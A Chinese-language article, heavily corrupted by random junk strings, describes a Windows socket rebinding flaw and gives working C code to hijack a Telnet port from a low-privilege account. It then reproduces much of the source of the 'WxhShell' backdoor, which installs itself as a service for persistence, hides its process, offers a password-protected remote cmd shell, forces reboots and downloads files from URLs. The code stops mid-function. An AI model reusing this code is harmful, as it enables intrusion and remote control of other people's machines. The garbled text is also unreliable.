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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MhZT<6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YoKY&i6r} Q2)z1'Wv saddr.sin_family = AF_INET; 3!0Eh8ncI SPxgIP;IR saddr.sin_addr.s_addr = htonl(INADDR_ANY); }F1|&
A mT8($KQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MeqW/!72$L 40}8EP k) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UJ_E&7,L ~bCn%r2 这意味着什么?意味着可以进行如下的攻击: E3\O?+h# RbJ,J)C> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Y
4W:S ?3"bu$@8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QUp()B1 dIG(7~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I#D{6%~ h*f= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dQR2!yHEq
f$mfY6v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7CzZHkTg MC!K7ji 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `J^J_s W
:PGj0? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t+k"$zR 3VbQDPG #include _^'fp #include lM C4j #include W
xyQA:3s #include t nz
BNW8 DWORD WINAPI ClientThread(LPVOID lpParam); Ep0L51Q int main() inavi5. { x"~F=jT WORD wVersionRequested; %b2.JGBqJ DWORD ret; dZm>LVjG WSADATA wsaData; zPU&
}7 BOOL val; 12aAO|]/~ SOCKADDR_IN saddr; W{l+_a{/9 SOCKADDR_IN scaddr; 2 As 4} int err; TSmuNCR SOCKET s; lNQ t SOCKET sc; N\Byg jw| int caddsize; 3=1aMQ HANDLE mt; dRyK'Xr DWORD tid; OC9_EP\" wVersionRequested = MAKEWORD( 2, 2 ); L$h.VQv+ err = WSAStartup( wVersionRequested, &wsaData ); 0ANqEQX if ( err != 0 ) { 'MPt K printf("error!WSAStartup failed!\n"); bp:WN return -1; g.X?wyg5 } to^ &: saddr.sin_family = AF_INET; ;VM/Cxgep <0vQHND,3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 umYq56dw )H#Hs<)Qy saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZrnZ7,!@ saddr.sin_port = htons(23); pzezN if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7am ._K { /s(/6~D| printf("error!socket failed!\n"); uh%%MhTjv return -1; xA#B1qbw } C',D" val = TRUE; PkQu N;a //SO_REUSEADDR选项就是可以实现端口重绑定的 ~qLbyzHaB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I 6a{'c(P { Ec[=~>;n{l printf("error!setsockopt failed!\n"); BKIAc6 return -1; T.GY } tQbDP!,A*= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B cd6~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {bl&r?[y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z,qo
jtw tXcc#!'4C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7qV_QZ!. { 3/>McZ@OH ret=GetLastError(); RO=[Rr! printf("error!bind failed!\n"); /}-]n81m return -1; 3_B .W } K&
<|94_k listen(s,2); YQ
g03i while(1) uI@:\Rss { ++F #Z(p caddsize = sizeof(scaddr); HlBw:D(z:^ //接受连接请求 "2}04b|" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6BRQX\ if(sc!=INVALID_SOCKET) m.EI("n"J { IrjKI.PR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mQtGE[ if(mt==NULL) D)8&v`LS { (]^9>3{| printf("Thread Creat Failed!\n"); NZ/gp"D? break; =Bi>$Ly } )TFaG[tj } $SRpFz5y$ CloseHandle(mt); _)O1v%]"4 } N\l\ M closesocket(s); t@QaxZIlt; WSACleanup(); f%` =>l return 0; D3$PvX[f } s[NkPh9& DWORD WINAPI ClientThread(LPVOID lpParam) Yw"o_ { cjHo?m' SOCKET ss = (SOCKET)lpParam; S=~[ 6;G SOCKET sc; jxL}tS{j unsigned char buf[4096]; b%L8mX SOCKADDR_IN saddr; [U]U *x long num; d^mw&F)S DWORD val; |)* K#%j DWORD ret; & V^Z //如果是隐藏端口应用的话,可以在此处加一些判断 ]@vX4G/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $[T^S saddr.sin_family = AF_INET; [-_3Zr saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); No>XRG+ saddr.sin_port = htons(23); LdwWB
`L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ST5L
O#5 { UBzX%:A printf("error!socket failed!\n"); ~m8".Z" return -1; ;e415T } z85%2Apd val = 100; d&4ve Lu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P}29wr IZ { F&%@p& ret = GetLastError(); $wg5q\Rv return -1; jzI70+E } :m]~o3KRy if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h:-ZXIv? { 1"YN{Ut;G ret = GetLastError(); DDQ}&`s return -1; 3}(6z"r } Ok2KTsVl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .A<G$ db
? { bc=,$ printf("error!socket connect failed!\n"); g = ~Y\$& closesocket(sc); v_mk{ closesocket(ss); ;$,=VB:' return -1; #V&98 F } "BT*9N=| while(1) O 7RIcU { a?jUm. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pqe7a3jr //如果是嗅探内容的话,可以再此处进行内容分析和记录 U;`C%vHff //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }A jE- K{ num = recv(ss,buf,4096,0); [p3{d\=*? if(num>0) IR;l{q&` send(sc,buf,num,0); fn.KZ else if(num==0) 3}aKok"k break; EQI9J#;+ num = recv(sc,buf,4096,0); @W}cM if(num>0) |y9(qcKn$ send(ss,buf,num,0); &H8wYs else if(num==0) E|{(O break; ~MWI-oK } %O6r closesocket(ss); 9d&@;&al closesocket(sc); JguPXHa0 return 0 ; XSk*w'xO } [wU e"{ ` _aX>fw F<.oTP-B ========================================================== ~,ZU+ )5T82=[h< 下边附上一个代码,,WXhSHELL &O
+?#3 &1/OwTI4J ========================================================== S[ch/ OfG/7pw5%B #include "stdafx.h" 88Nx/:#Y* UE9RrfdN #include <stdio.h> .~$!BWP #include <string.h>
I~T #include <windows.h> 4)"S/u #include <winsock2.h> e!W U #include <winsvc.h> UQZl:DYa #include <urlmon.h> WwsH7X) Emy=q5ryl #pragma comment (lib, "Ws2_32.lib") /< k&[ #pragma comment (lib, "urlmon.lib") "; 1@f"kw vf&_
N #define MAX_USER 100 // 最大客户端连接数 J':X$>E| #define BUF_SOCK 200 // sock buffer QC,fyw\ #define KEY_BUFF 255 // 输入 buffer IOA2/WQu SzP`(}AU #define REBOOT 0 // 重启 Vv54;Js9 #define SHUTDOWN 1 // 关机 .n n&K}h BLN|QaZ #define DEF_PORT 5000 // 监听端口 xKR\w!+Z' X [<%T}s# #define REG_LEN 16 // 注册表键长度 1rx,qfCq #define SVC_LEN 80 // NT服务名长度 _aeIK 3
,zW6 -} // 从dll定义API _01wRsm%2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m"@o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V7b;qC' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aFaioE#h( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %afN&T gw!d[{# // wxhshell配置信息 ,,SV@y; struct WSCFG { KomMzG: int ws_port; // 监听端口 qnCjNN
char ws_passstr[REG_LEN]; // 口令 \TZSn1isZX int ws_autoins; // 安装标记, 1=yes 0=no +Xp1=2Mq char ws_regname[REG_LEN]; // 注册表键名 Ngj&1Ta&[ char ws_svcname[REG_LEN]; // 服务名 EugRC char ws_svcdisp[SVC_LEN]; // 服务显示名 lEgjv, char ws_svcdesc[SVC_LEN]; // 服务描述信息 |kH.o= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TjDtNE int ws_downexe; // 下载执行标记, 1=yes 0=no ]5K+W char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &wAVO_s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e|?eY)_ g<@Q)p*ow }; #dKy{Q3he 3. @LAF // default Wxhshell configuration Y)@Y$_ struct WSCFG wscfg={DEF_PORT, DK
eB%k "xuhuanlingzhe", {,i-V57-h 1, \-pqqSy "Wxhshell", n$`+03 a "Wxhshell", &<x.D]FA] "WxhShell Service", X;H\u6-|>6 "Wrsky Windows CmdShell Service", Jz=|-F(Sy "Please Input Your Password: ", PtYG%/s 1, 81"` B2 " http://www.wrsky.com/wxhshell.exe", @R}3f6@67 "Wxhshell.exe" Ui!l3_O }; ;DSH$'1i Ml$<x"Q // 消息定义模块 iGSA$U P| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pU9.#O char *msg_ws_prompt="\n\r? for help\n\r#>"; Gbjh|j= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; MT"&|Og char *msg_ws_ext="\n\rExit."; ^D5Jqh)
char *msg_ws_end="\n\rQuit."; ;@T0wd_i| char *msg_ws_boot="\n\rReboot..."; &&m3E=K!^ char *msg_ws_poff="\n\rShutdown..."; xu_,0ZT]{ char *msg_ws_down="\n\rSave to "; 2,dWD<h {aN pk,n char *msg_ws_err="\n\rErr!"; zBlv?JwG char *msg_ws_ok="\n\rOK!"; =/_u k{ 9Q^cE\j char ExeFile[MAX_PATH]; ,[IDC3.4^R int nUser = 0; Nf^<pT[* HANDLE handles[MAX_USER]; Q&N#q53 int OsIsNt; 9sT5l"?g /zt M' SERVICE_STATUS serviceStatus; hrtz>qN SERVICE_STATUS_HANDLE hServiceStatusHandle; vue^bn JC%&d1
// 函数声明 DrKB;6 int Install(void); njf\fw_ int Uninstall(void); ('SId@ int DownloadFile(char *sURL, SOCKET wsh); Bp_R"DS7A int Boot(int flag); 3PGAUQR#"q void HideProc(void); ?9a%g\`?: int GetOsVer(void); A
$gn{ c int Wxhshell(SOCKET wsl); {='Bd6_= void TalkWithClient(void *cs); Jr( =Y@Z' int CmdShell(SOCKET sock); iW^J>aKy int StartFromService(void); cu($mjC@T int StartWxhshell(LPSTR lpCmdLine); l@Vv%w9H s91[@rh/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /V:9*C VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4_kN';a4Q \O;2^ // 数据结构和表定义 '1:) q SERVICE_TABLE_ENTRY DispatchTable[] = Z;Hkx1 { d(o=)!p {wscfg.ws_svcname, NTServiceMain}, PQkw)D<n]_ {NULL, NULL} )rK2%\Z }; lb.Q^TghU 'ZW(Hjrd // 自我安装 4MzQH-U>/ int Install(void) N!7}B { )"pvF8JR%3 char svExeFile[MAX_PATH]; X`KSj
N&( HKEY key; teg5g|* strcpy(svExeFile,ExeFile); W~/d2_|/ @|SeabN^- // 如果是win9x系统,修改注册表设为自启动 V_gl#e# if(!OsIsNt) { Nv7-6C6< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8x U*j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zHb[.ry~ RegCloseKey(key); P>C'?'Q7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ki9&AFs2X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qT@h/Y RegCloseKey(key); v
49o$s4J return 0; TC?B_;a } K:a8}w>Up } I "AjYv4R } JcR|{9ghT else { dtC@cK/,D [yXmnrxA // 如果是NT以上系统,安装为系统服务 tk%f_"} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a/j;1xcc< if (schSCManager!=0) 'q-q4QCB { &J6`Q<U! SC_HANDLE schService = CreateService B$_4ul\) ( etr-\Cp schSCManager,
vmqa_gU\ wscfg.ws_svcname, 32[}@f2q wscfg.ws_svcdisp, y&zFS4"x SERVICE_ALL_ACCESS, \X8b!41 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?bB>}:~j) SERVICE_AUTO_START, :5NMgR.d SERVICE_ERROR_NORMAL, $N=&D_Q svExeFile, t )zd'[ NULL, D~6[C:m NULL, I\.|\^ NULL, ;5 j|B|v NULL, 86r"hy~ NULL o&?c,FwN ); d05xn7%!{ if (schService!=0) $+*nb4 { y&NqVR= CloseServiceHandle(schService); P}@AH02
CloseServiceHandle(schSCManager); fu"cX; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,9P-<P strcat(svExeFile,wscfg.ws_svcname); G?W:O{n3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m-AF&( ;K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hQn?qJy%W RegCloseKey(key); (C!p2f return 0; "\b>JV5 } +0pI}a\ } 2Vx4"fHP#N CloseServiceHandle(schSCManager); ipv5JD[ } v"G1vSx)BT } 24jf`1XFW ;kgP:n return 1; U#3N90,N= } L/8oqO| / Q1*Vh4 // 自我卸载 QQl.5'PP int Uninstall(void) #A/OGi { OIblBQ! HKEY key; h*S"]ye5 }t)+eSUA if(!OsIsNt) { Vq'7gJj' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \o>-L\`O RegDeleteValue(key,wscfg.ws_regname); N<)CG,/w[M RegCloseKey(key); B7%,D} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8M5)fDu*? RegDeleteValue(key,wscfg.ws_regname); hfwJZ\_60 RegCloseKey(key); c!Hz'W return 0; P6gkbtg } ^j<v~GTx+ } FZ-Wgh
0z } OgF[= else { ,?GwA@~$k: ;(NTzBq!1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !l'nX if (schSCManager!=0) Px_8lB/; { ^z
*0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y3oq{Z> if (schService!=0) :\;9y3 { ,
'pYR]3 if(DeleteService(schService)!=0) { AwJg/VBo) CloseServiceHandle(schService); )M8d\] CloseServiceHandle(schSCManager); ?{J1&;j* return 0; v`S5[{6 } ('z=/"(l CloseServiceHandle(schService); 5U?O1}P } lS=YnMs6a CloseServiceHandle(schSCManager); Q7+WV`& } LK h=jB^bT } 48xgl1R(j PF4[;ES' return 1; st w@@GQ } @fd< }u^bTR?3 // 从指定url下载文件 BbB3#/g int DownloadFile(char *sURL, SOCKET wsh) HYl+xH'.j { Q=Q+*oog HRESULT hr; :V9Q<B^ char seps[]= "/"; tY_=[6?Zu char *token; qZ<n\Mt char *file; %`~4rf"7 char myURL[MAX_PATH]; L4iWR/& char myFILE[MAX_PATH]; kH 9k<{ ,88B@a strcpy(myURL,sURL); ,.Gp_BI token=strtok(myURL,seps); br\3} while(token!=NULL) ZRhk2DA#FF { XU'(^Y8Imz file=token; 4f j}d.? token=strtok(NULL,seps); UB@(r86d } uz8eS'8 "|6(.S+o GetCurrentDirectory(MAX_PATH,myFILE); wo9R:kQ strcat(myFILE, "\\"); {r&r^!K; strcat(myFILE, file); +HE,Q6-A send(wsh,myFILE,strlen(myFILE),0); C5=^cH8 send(wsh,"...",3,0); B~o3Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9ERdjS if(hr==S_OK) 1=]#=)+ return 0; yc0
1\o else z{R
Mb return 1; ]FR#ZvM>x B)k/]vz)*D } GUQ3XF\ ,5 ,r. // 系统电源模块 []OS p& int Boot(int flag) Va[&~lA) { eI|FrBq% HANDLE hToken; !@V]H TOKEN_PRIVILEGES tkp; (fc_V[(m" ,>6mc=p if(OsIsNt) { o5],c9R9b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SP0ueAa} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i% 0qN tkp.PrivilegeCount = 1; $zz4A~
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jn(|.eT| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r0z8? if(flag==REBOOT) { S?DMeZ{: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ; 180ct4 return 0; FkaQVT } xqT} 9, else { BDp(&=ktq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =j_4!^ return 0; RCkmxO;b& } J?p|Vy|9 } P EzT|uY else { ]_>38f7h if(flag==REBOOT) { *<9M|H~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y] Q/(O return 0; HELTL$j,b } z#5qI',L else { _J>Ik2EF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I/h( *~/ return 0; Nj;(QhYZ } n`Ypv{+ {% } Qz"@<qgQy SM}&
@cJ return 1; 2V @ pt } 'mU\X!-
4< nQw, /Lk // win9x进程隐藏模块 f]+.
i-c= void HideProc(void) 'pAq;2AA { <SRSJJR|( Or1ikI" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); voN, u>U if ( hKernel != NULL ) neWx-O { ]xJ2;{JWsO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $nthMx$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N8wA">u FreeLibrary(hKernel); q_6<}2m,U } R*"zLJP ?cr^.LV|h^ return; h>NuQo* } %Y].i/".;P 4!+IsT // 获取操作系统版本 }5gQ dj[Y int GetOsVer(void) S#D6mg$Z, { kEdAt5/U{ OSVERSIONINFO winfo; M-f; ,> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o
3 G* GetVersionEx(&winfo); "CQ:<$|$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^^*dHWHn< return 1; M[dJQ( else vP&JL~ return 0; fH
5/ } XuW>GT/ Xpf:I // 客户端句柄模块 f,Dj@?3+ int Wxhshell(SOCKET wsl) x_KJCU { G
Y ]bw SOCKET wsh; ytGcigw(P struct sockaddr_in client; uHO>FM, DWORD myID; U{.y X7 v+`gQXJ"G while(nUser<MAX_USER) $~.'Tnk) { )1!*N)$ int nSize=sizeof(client); e/!xyd wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ||kUi=5 if(wsh==INVALID_SOCKET) return 1; #ANbhHG Ut^ {4_EC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DlbNW& V if(handles[nUser]==0) h}jE=T5Hc closesocket(wsh); f+W %X else m&8'O\$ nUser++; ?r-W
, n } Bgj^n{9x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &,~Oi(SX5 s8 0$ return 0; p!3!&{ } \B~}s } }0~4Z)?e3 // 关闭 socket a@V`EEZ void CloseIt(SOCKET wsh) $Q< >MB7 { |.Y}2>{ closesocket(wsh); P+nd?:cz nUser--; [kyIF\0 ExitThread(0); o&"nF+, } hV]]%zwR+ JQ)w/@Vu= // 客户端请求句柄 z8\z`#g! void TalkWithClient(void *cs) o\;cXuh { m3E`kW| ev;R; 0< SOCKET wsh=(SOCKET)cs; E1-BB char pwd[SVC_LEN]; 1z$K54Mj char cmd[KEY_BUFF]; :N
~A7@ char chr[1]; of k@.TmO int i,j; {
vOr'j@ z->[:)c while (nUser < MAX_USER) { (TJ )Y7E f,}9~r# if(wscfg.ws_passstr) { 0<C]9[l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q&A^(z} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DYFfq //ZeroMemory(pwd,KEY_BUFF); )UgLs|G~ i=0; !m<v@SmL\ while(i<SVC_LEN) { c Y(2}Ay 51&K // 设置超时 +<o}@hefY2 fd_set FdRead; i~0x/wSl_ struct timeval TimeOut; K r DG FD_ZERO(&FdRead); [DzZ:8 FD_SET(wsh,&FdRead); 7uW=f kxT TimeOut.tv_sec=8; o1zKns? TimeOut.tv_usec=0; VW/ICX~"d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |)}&:xA% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O4.`N?Xq ?6T\uzL +% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J70r` pwd =chr[0]; V>Vu)7 if(chr[0]==0xd || chr[0]==0xa) { %ot4$eY pwd=0; j}fu|- break; P ")1_! } p]E \!/ i++; d,d ohi } O=E?m=FR" '`nf7b( // 如果是非法用户,关闭 socket a
0+W-#G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /c:78@ } x=%wPVJ EwX:^1f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QopA'm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w1J%%//(h V+Y; while(1) {
#m;|QWW VSLi{=# ZeroMemory(cmd,KEY_BUFF); {
d |lN:B ]r.95|V* // 自动支持客户端 telnet标准 iwx*mC{|A j=0; m:x<maP#E while(j<KEY_BUFF) { wx[Y2lUh6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NPjNkpWm&= cmd[j]=chr[0]; *aaK_=w if(chr[0]==0xa || chr[0]==0xd) { vMv?
fE" cmd[j]=0; #L`'<ge'g* break; ~;/}D0k$x } *pj^d>< j++; q:ah%x[ } >1S39n5z. we}G%09L // 下载文件 Mp,aQ0bNS if(strstr(cmd,"http://")) {
-?vII~a9y send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9AP." RV if(DownloadFile(cmd,wsh)) )y"8Bx=x4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TkR]bhm else 7;r Jr&.) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .{,fb } m4x8W2q else { WlW7b.2. `RHhc{ switch(cmd[0]) { D&*'|}RZ
4"~F // 帮助 ,,+iPGa< case '?': { -F`uz,wZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \w@V7~vA break; JDP /vNq } u`?v- // 安装 G3${\'< case 'i': { 05s{Z.aK if(Install()) e]zd6{g[m send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,%d?gi"& else U^
;H{S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JyDg=%-$2 break; ;Z!x\{-L } `"h[Xb#A`b // 卸载 [
~:wS@% case 'r': { ,~*pPhQ8m if(Uninstall()) 0x,NMS send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_3OiU=w else lN~u='Kc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vocWV/ break; @&9 ,0x } 4Qj@:b // 显示 wxhshell 所在路径 U0@Qc}y case 'p': { ypLt6(1j% char svExeFile[MAX_PATH]; e N^6gub strcpy(svExeFile,"\n\r"); ycj\5+g strcat(svExeFile,ExeFile); \\Te\l|L send(wsh,svExeFile,strlen(svExeFile),0); i%n9RuULh break; pSdtAv } ]S7>=S // 重启 '#NDR:J" case 'b': { 9}$'q$0R] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
]/[$3rPwZ if(Boot(REBOOT)) bj,cU)t0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\e8c
g else { ,b9!\OWDF closesocket(wsh); e'T|5I0K ExitThread(0); 8;$zD]{D1 } l?O%yf`s break; guk{3<d:Jy } #b>D^=NV>) // 关机 Q?V'3ZZF! case 'd': { v,Uu)Z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s[Whg!2~ if(Boot(SHUTDOWN)) :&J1#% t send(wsh,msg_ws_err,strlen(msg_ws_err),0); -+fW/Uo else { ,m[#<}xXA closesocket(wsh); `]4tJJy$ ExitThread(0); \[L| } wxE'h~+ break; h~5gHx/a } md;jj^8zj // 获取shell ODKHI\U
case 's': { [z,6 K= CmdShell(wsh); h3j`X' closesocket(wsh); Oid;s!-S 6 ExitThread(0); qlC4&82=Q break; t#2szr+ } TJUYd9O4[ // 退出 FJ2~SKWT case 'x': { jE!?;} P1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .5!Q( CloseIt(wsh); u-R;rf5%k break; ;^ff35EE8 } 'o|=_0-7W // 离开 2`A\'SM'4 case 'q': { 8qwPk4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); %afz{a5 closesocket(wsh); c/}-pZn< WSACleanup(); jdd3[ exit(1); P\&n0C~ break; VEx
) } mw*KLMo42 } Erm]uI9` } %Mf3OtPiJW y$+_9VzYB // 提示信息 @5{h+ ^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T1c&3 } 3XhLn/@ } o$Z]qhq )JOo|pr-K return; pt%Y1<9Eh? } VKu|=m2vB +<'>~lDg // shell模块句柄 LRPdA "Z int CmdShell(SOCKET sock) ;RS^^vDm { @Uqcym. STARTUPINFO si; bq z*90 ZeroMemory(&si,sizeof(si)); yH(%*-S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !BR@"%hx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;eC8|
Xz PROCESS_INFORMATION ProcessInfo; QURpg/<U char cmdline[]="cmd"; =~'y' K] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 95*=&d return 0; G!U
`8R } nBtKSNT#Q 41c4Xj?' // 自身启动模式 7o9[cq w int StartFromService(void) b"eG8 { rhC
x&L typedef struct j=Z;M1 { VujIKc#4 DWORD ExitStatus; CPJ%<+4%b DWORD PebBaseAddress; ye`-U?7. DWORD AffinityMask; y)T|1) DWORD BasePriority; @UW*o&pGqL ULONG UniqueProcessId; -|GX]jx(Y ULONG InheritedFromUniqueProcessId; )@6iQ } PROCESS_BASIC_INFORMATION; 3u4P
[ ~X,ZZ 9H PROCNTQSIP NtQueryInformationProcess; R@2*Lgxz~ tw&biLM5T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?:#$btmn? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l:j>d^V*&x <,Fj}T- HANDLE hProcess; R
